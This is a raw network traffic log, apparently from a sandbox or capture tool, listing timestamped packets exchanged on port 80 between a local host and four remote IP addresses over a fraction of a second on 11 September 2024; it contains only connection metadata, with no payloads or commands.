Sep 11, 2024 16:22:17.541771889 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.541785002 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.541795969 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.541807890 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.541817904 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.541821003 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.541829109 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.541842937 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.541841984 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.541883945 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.542032003 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.542042971 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.542053938 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.542056084 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.542067051 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.542068958 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.542078972 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.542092085 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.542103052 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.542104006 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.542115927 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.542126894 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.542139053 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.542164087 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.542200089 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.542200089 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.542201042 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.542212963 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.542224884 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.542236090 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.542237997 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.542247057 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.542258024 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.542280912 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.542329073 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.542329073 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.542346001 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.542357922 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.542368889 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.542380095 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.542388916 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.542393923 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.542404890 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.542417049 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.542418957 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.542452097 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.542468071 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.542517900 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.542530060 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.542562008 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.542584896 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.542689085 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.542701006 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.542711973 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.542721987 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.542728901 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.542749882 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.542783976 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.542943954 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.542956114 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.542967081 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.542990923 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.543024063 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.543267012 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.543278933 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.543288946 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.543299913 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.543311119 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.543314934 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.543322086 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.543346882 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.543375969 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.543375969 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.543406010 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.543445110 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.543561935 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.543601990 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.543745995 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.543756962 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.543767929 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.543786049 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.543812990 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.543834925 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.543845892 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.543855906 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:17.543879032 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.543900013 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:17.571439981 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.571495056 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.571597099 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.571649075 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.571676016 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.571693897 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.571705103 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.571715117 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.571717978 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.571728945 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.571744919 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.571758032 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.571758032 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.571811914 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.571835041 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.571846008 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.571855068 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.571867943 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.571877003 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.571880102 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.571943998 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.571944952 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.571988106 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.571997881 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.572052002 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.572365046 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.572376013 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.572386980 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.572413921 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.572473049 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.572524071 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.572535038 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.572546005 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.572557926 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.572568893 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.572580099 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.572592974 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.572594881 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.572607994 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.572676897 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.572689056 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.572699070 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.572710991 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.572714090 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.572714090 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.572838068 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.575973988 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.576059103 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.576153994 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.576165915 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.576176882 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.576189041 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.576211929 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.576263905 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.576318026 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.576330900 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.576339960 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.576351881 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.576360941 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.576368093 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.576416016 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.576659918 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.576670885 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.576682091 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.576694012 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.576705933 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.576715946 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.576716900 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.576738119 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.576766968 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.576802969 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.576814890 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.576823950 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.576838017 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.576848984 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.576853991 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.576860905 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.576898098 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.576930046 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.579277039 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.579289913 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.579299927 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.579336882 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.579410076 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.579447031 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.579457998 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.579468966 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.579480886 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.579492092 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.579493046 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.579504013 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.579540014 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.579566002 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.579580069 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.579591990 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.579602957 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.579613924 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.579623938 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.579624891 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.579642057 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.579684019 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.579983950 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.580029964 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.580065966 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.580077887 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.580087900 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.580099106 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.580106020 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.580111027 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.580121994 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.580137968 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.580142021 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.580149889 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.580159903 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.580163956 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.580173969 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.580185890 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.580190897 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.580195904 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.580219030 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.580244064 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.580245018 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.580282927 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.580399990 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.580414057 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.580449104 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.580579042 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.580590963 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.580600977 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.580611944 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.580625057 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.580625057 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.580637932 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.580646038 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.580650091 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.580662966 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.580672979 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.580676079 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.580684900 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.580697060 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.580704927 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.580745935 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.580899954 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.580912113 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.580940962 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.580971956 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.581073046 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.581085920 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.581096888 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.581108093 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.581111908 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.581119061 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.581130981 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.581144094 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.581144094 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.581156969 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.581168890 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.581183910 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.581212997 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.581235886 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.581248045 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.581259012 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.581269979 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.581279993 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.581280947 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.581295013 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.581332922 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.581365108 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.581379890 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.581387997 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.581398964 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.581409931 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.581413031 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.581420898 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.581434965 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.581440926 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.581482887 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.581513882 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.581523895 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.581535101 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.581545115 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.581556082 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.581557035 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.581569910 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.581576109 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.581599951 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.581635952 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.581691980 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.581733942 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.581840038 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.581851959 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.581861973 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.581880093 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.581901073 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.582005024 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.582016945 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.582026958 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.582040071 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.582050085 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.582051039 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.582065105 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.582075119 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.582077026 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.582089901 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.582103014 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.582113981 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:17.582117081 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.582149982 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:17.586054087 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.586065054 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.586076021 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.586105108 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.586139917 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.586184025 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.586235046 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.586349964 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.586359978 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.586373091 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.586384058 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.586395025 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.586397886 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.586406946 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.586420059 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.586431980 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.586466074 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.586494923 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.586507082 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.586519003 CEST	80	49738	176.113.115.187	192.168.2.4
Sep 11, 2024 16:22:17.586545944 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.586577892 CEST	49738	80	192.168.2.4	176.113.115.187
Sep 11, 2024 16:22:17.610584021 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.610599041 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.610608101 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.610620975 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.610632896 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.610645056 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.610671997 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.610671997 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.610702991 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.610713005 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.610753059 CEST	49737	80	192.168.2.4	31.41.244.9
Sep 11, 2024 16:22:17.611102104 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.611113071 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.611123085 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.611135006 CEST	80	49737	31.41.244.9	192.168.2.4
Sep 11, 2024 16:22:17.611146927 CEST	80	49737	31.41.244.9	192.168.2.4
